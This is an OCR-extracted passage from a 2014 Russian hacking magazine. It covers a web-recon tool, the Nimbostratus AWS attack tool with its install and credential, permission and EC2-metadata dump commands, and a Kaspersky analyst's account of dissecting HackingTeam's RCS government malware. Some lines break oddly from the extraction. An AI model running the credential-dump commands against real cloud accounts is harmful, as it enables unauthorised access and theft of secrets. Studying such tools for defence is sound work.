На практике часто можно понять внутреннюю структуру движка, если он стоит на Apache, поскольку можно узнать настоящие имена сценариев через HTTP-ошибку с кодом 413. В других случаях может помочь раскрытие путей с помощью отправки специально сформированных параметров.

Кроме того, можно провести проверку некоторых уязвимостей (DOM-based XSS, RCE в PHPCGI, Ruby on Rails, PHP-FPM и так далее), поиск бэкапов или временных файлов с исходным кодом приложения.

Также есть метод для многопоточного поиска поддоменов. Еще один use case — это написание мини-фаззеров или сканеров. Можно автоматизировать анализ на основе данных, полученных эвристическим распознаванием платформы.

Автор планирует расширение функционала, в том числе чтобы было проще писать специализированные сканеры.

АТАКУЕМ AMAZON

Nimbostratus — это инструмент для обнаружения и эксплуатации уязвимостей в облачной инфраструктуре Amazon. Для того чтобы поднять в собственном AWS окружение для тестов, можно использовать утилиту nimbostratus-target (bit. ly/13FPiBA). Установка Nimbostratus происходит следующим образом:

git clone git@github.com:andresriancho/

nimbostratus.git

cd nimbostratus

pip install -r requirements.txt

Некоторые подкоманды nimbostratus требуют предоставления следующих учетных данных от AWS:

--access-key;

--secret-key;

--token .

Рассмотрим еще несколько базовых операций. Вот так происходит дамп учетных данных:

$ nimbostratus dump-credentials

Дамп разрешений выглядит вот так:

$ nimbostratus

dump-credentials

$ nimbostratus

dump-permissions --access-key=

... --secret-key=...

Дамп метаданных системы:

nimbostratus dump-ec2-metadata

98

Malware

 

ХАКЕР 01 /180/ 2014

Живой рассказ вирусного аналитика об исследовании RCS и FinSpy

РАССК АЗЫВАЛ:

СЕРГЕЙ ГОЛОВАНОВ

ЗАПИСЫВАЛ И ПЕРЕВОДИЛ С ГРОУЛИНГА:

ДЕНИС МАКРУШИН

Сергей Голованов

Денис Макрушин

антивирусный эксперт,

технологический

«Лаборатория

эксперт, «Лаборатория

Касперского»

Касперского»

Как я боролся с правительственной малварью

Читать хак-стори про то, как крутые парни взламывают системы и снимают защиты, всегда интересно. Если подумать, то окажется, что борьба с малварью (как и написание качественной малвари) — это тоже хак, но сотрудники антивирусных компаний не очень охотно рассказывают о своей деятельности. Отчасти потому, что больший процент вирусов — ерунда полная и побеждаются они в полуавтоматическом режиме. Впрочем, про новомодную правительствен- но-правоохранительную малварь этого не скажешь. Из статьи ты узнаешь, что даже опытным экспертам иногда требуется не один ящик пива и не один блок сигарет для того, чтобы разобраться в злокоде, написанном такими же опытными и тоже объединенными в одну высокотехнологичную компанию разработчиками.

ХАКЕР 01 /180/ 2014

Как я боролся с правительственной малварью

99

BUSINESS-TO-GOVERNMENT: RCS

Середина далекого 2012 года принесла нам (в антивирусную лабораторию. — Прим. ред.) письмо, в котором содержался файл adobeupdate. jar. В нем находился семпл под OS Х. Наши антивирусные аналитики сразу направили его мне для детального анализа.

Внутри у данного экземпляра малвари ничего не было зашифровано — все читалось как открытая книга, и в результате уже на следующий день появились публикации других антивирусных компаний о новой атаке, названной ими Crisis (один из модулей назывался Crisis — здесь нужно сказать спасибо Objective-C за голый код). Файлы RCS для ОС Windows написаны на языке программирования C++. Чтобы программа не привлекала внимание антивирусов, ее создатели практически не использовали методы защиты от анализа, а это характерно для программ, которые применяются при проведении целевых атак.

Все имеющиеся строки, которые создатели не потерли в процессе компиляции, демонстрировали аббревиатуру RCS. RCS, также известная с 2011-го как Remote Control System, разработана, по словам Wikileaks, компанией HackingTeam, помогающей правительствам разных стран следить за своими гражданами.

В JAR-файле также лежал семпл под Windows, функционал которого был аналогичен семплу Mac. В нем содержалась забавная строчка ′Element′,27h,ry!penguiNs;-)SingingHarekrishna_′. Сначала мне показалось, что это своего рода «пасхальное яйцо», но низкоуровневый анализ, сделанный моим коллегой Николасом Брюле, продемонстрировал, что это далеко не забавы разработчиков. Дело в том, что известная утилита Skype имеет в своем распоряжении возможность подключить плагины, которые позволяют пользователю изменять голос, использовать всякие нестандартные смайлики и прочее. Для того чтобы разработчик мог выпустить подобный плагин, его требуется подписать у Microsoft, и для этого нужно сделать следующее: указать полный путь к плагину, посчитать MD5 ко всем файлам плагина и указать некоторую соль. В нашем случае найденная строка оказалась этой самой солью, которая, в свою

Антиотладка — это был лишь первый круг ада. Дальше меня ждали упаковка, за ней крипторы, виртуальная машина, после нее снова крипторы, и только тогда становятся видны строки, которые, в свою очередь, были зашифрованы

Заголовки электронного письма, пришедшего в антивирусную лабораторию

очередь, была предназначена для подписи плагина перехвата всех скайп-звонков. Интересный эксклюзивный функционал, который мы до того, как столкнулись с этой малварью, больше нигде не встречали. Обычно вирмейкеры хукали все внутри скайпа, но идея установки новых плагинов в скайп еще никому в голову не приходила.

Двигаемся дальше. В процессе анализа был найден эксплойт, который грузил пейлоад со следующего URL: rcs-demo.hakingteam. it. Плюс в семпле под Mac были найдены пути к файлам для компиляции, и было что-то вроде: /Users/guido. При этом нашлась учетная запись

пользователя «Guido ***» на сайте LinkedIn, указавшего HackingTeam в качестве своего места работы.

Охота за эксплойтами, которые малварь использует для своего распространения, показала, что мы словили 0-day в Adobe Flash Player (впоследствии разработчики присвоили ей CVE-2010-3333). Затем мы посмотрели CVE всех сплоитов, которые мы нашли в семпле. JAR-файл представляет собой архив, а значит, можно посмотреть, когда в него были добавлены файлы. Так вот, файлы в этот архив попадали за несколько месяцев до того, как были обнаружены CVE!

Та самая загадочная фраза, оказавшаяся солью

Упоминание имени пользователя guido в коде вредоносной программы

Использование сочетания букв RCS во вредоносной

программе под Mac

Соседние файлы в папке журнал хакер